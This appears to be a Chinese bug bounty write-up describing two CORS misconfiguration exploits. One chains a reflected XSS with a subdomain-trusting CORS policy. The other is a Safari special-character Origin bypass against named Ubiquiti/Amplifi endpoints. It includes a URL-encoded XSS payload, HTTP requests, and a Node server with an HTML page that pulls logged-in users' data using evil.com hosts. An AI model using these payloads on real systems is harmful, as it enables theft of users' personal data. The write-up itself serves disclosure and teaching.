案例一:利用子域XSS链式攻击
在大约一年前,笔者测试了一个托管在HackerOne上的私有漏洞赏金项目。通过分析HTTP请求中的Origin头与服务器响应,发现该应用存在CORS配置错误:它盲目地将任何子域名(包括不存在的子域)列入白名单。
出于隐私和负责任披露的考虑,假设该Web应用托管于 www.redacted.com。
其错误配置表现如下:
HTTP 请求:
GET /api/return HTTP/1.1
Host: www.redacted.com
Origin: evil.redacted.com
Connection: close
HTTP 响应:
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: evil.redacted.com
该API端点会返回用户的敏感信息,如姓名、邮箱等。要利用此配置泄露用户信息,传统思路有两种:接管一个废弃的子域名,或在某个已存在的子域上寻找XSS漏洞。
跳出常规思路
寻找废弃子域并非易事,因此笔者选择了第二条路径:在现有子域中寻找XSS。虽然该私有项目的测试范围仅限 www.redacted.com,但将其他子域的XSS与此CORS配置相结合进行攻击,在某种程度上仍属于“范围内”的漏洞链。
事实上,其他子域“超出范围”这一点反而增加了发现漏洞的几率,因为其他安全研究员很可能不会对它们进行测试。果不其然,在不到一小时内,笔者在 banques.redacted.com 上发现了一个反射型XSS,Payload如下:
https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1

至此,构建完整攻击链的条件已经具备。
漏洞复现与利用
要利用此CORS配置,只需将XSS Payload中的 alert(document.domain) 替换为一段能够发起跨域请求、窃取数据的JavaScript代码:
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.redacted.com/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
将上述代码进行URL编码并嵌入原XSS链接,最终形成攻击URL:
https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1
当受害者访问该链接时,其敏感信息便会被窃取并弹出。

成果
该漏洞链被成功认定并获得了奖励。

然而,故事并未结束。是否存在一种方法,无需寻找子域XSS或进行子域接管,也能利用此类CORS配置呢?这正是第二个案例要探讨的内容。
案例二:利用Origin特殊字符的高级绕过技术
本次目标为 Ubnt 的公开漏洞赏金项目,具体应用是:https://protect.ubnt.com/。
采用相同的测试方法,笔者发现了类似的CORS配置错误。但此次敏感信息来自另一个API端点:https://client.amplifi.com/api/user/。该应用同样盲目信任任何子域名的Origin。

如前所述,传统利用方式需要子域XSS或接管。由于这是公开项目,范围很大(所有子域均在范围内),找到XSS的几率极低,子域接管也难实现。难道就此陷入僵局?
基于特殊字符的Origin绕过
事实上,还存在一种更高级的方法,它需要特定条件才能生效。安全研究员 Corben Leo 最近的一项有趣研究表明,可以绕过某些对域名内特殊字符校验不当的安全控制。
这项研究的核心在于:浏览器并非总是在发起请求前严格验证域名。如果Origin中包含某些特殊字符,浏览器可能会直接发送请求,而不会预先验证该域名是否有效或存在。
示例分析:
以包含特殊字符的URL http://asdf'+=.withgoogle.com 为例(使用 withgoogle.com 是因为其存在通配符DNS记录)。大多数浏览器会在发起请求前进行验证并阻止。
- Chrome 与 Firefox: 会进行前置验证并阻止请求。
- Safari: 则是一个例外,它会实际尝试发送请求并加载页面。

可用的特殊字符范围很广,包括:
,&'";!$^*()+=`~-_=|{}%
// 甚至包含部分不可打印字符
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
Davide Danelon 的另一项研究进一步表明,这些特殊字符的子集在其他浏览器上也可能生效。
新型攻击方法
在本案例中,目标应用不仅接受 *.ubnt.com,还意外地接受了像 *.ubnt.com!.evil.com 这样的Origin值。不仅是“!”字符,以下字符组合均被接受:
*.ubnt.com!.evil.com
*.ubnt.com".evil.com
*.ubnt.com$.evil.com
... (其余组合)
由于Safari浏览器会接受并请求如 https://zzzz.ubnt.com=.evil.com 这样的特殊域名,这为我们提供了攻击面。
攻击思路如下:
- 攻击者拥有一个配置了通配符DNS记录的域名(例如
evil.com),将所有子域名(如 *.evil.com)解析到攻击者控制的服务器。
- 在该服务器上托管一个恶意脚本(如
www.evil.com/cors-poc),该脚本会向易受攻击的端点(https://client.amplifi.com/api/user/)发起跨域请求。
- 诱使已登录目标应用(
protect.ubnt.com)的受害者(使用Safari浏览器)访问精心构造的链接:https://zzzz.ubnt.com=.evil.com/cors-poc。
- 理论上,该请求的Origin(
zzzz.ubnt.com=.evil.com)会被服务器错误地匹配为 *.ubnt.com 从而通过校验,导致受害者数据泄露。
漏洞复现步骤
-
设置DNS记录:在域名注册商(如GoDaddy)处为你的域名(evil.com)设置通配符A记录(*),指向你的服务器IP。

-
准备服务器:在服务器上安装Node.js,创建项目目录并添加以下文件:
serve.js
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80
http.createServer(function(req, res) {
if (req.url == '/cors-poc') {
fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type':'text/html'});
res.write(data);
res.end();
});
} else {
res.writeHead(200, {'Content-Type':'text/html'});
res.write('never gonna give you up...');
res.end();
}
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);
cors.html (恶意脚本页面)
<!DOCTYPE html>
<html>
<head>
<title>CORS</title>
</head>
<body onload="cors();">
<center>cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz"></textarea><br>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
-
启动服务器:
node serve.js &
-
验证与触发:
- 确保你已在
https://protect.ubnt.com/ 登录,并且能正常访问 https://client.amplifi.com/api/user/ 获取自身数据。
- 使用Safari浏览器(或在iPhone的Safari中)访问链接:
https://zzzz.ubnt.com=.evil.com/cors-poc。
- 此时,恶意页面将发起跨域请求,由于CORS配置错误及Safari对特殊域名处理的特点,该请求会携带用户凭证并成功获取到API返回的敏感信息,展示在页面文本框中。
这种利用方式,本质上是通过浏览器与服务器在解析Origin时的差异性,构造一个既能通过服务器端白名单校验,又能被浏览器实际发起的“畸形”Origin,从而在无需XSS和子域接管的情况下完成渗透测试中的漏洞利用。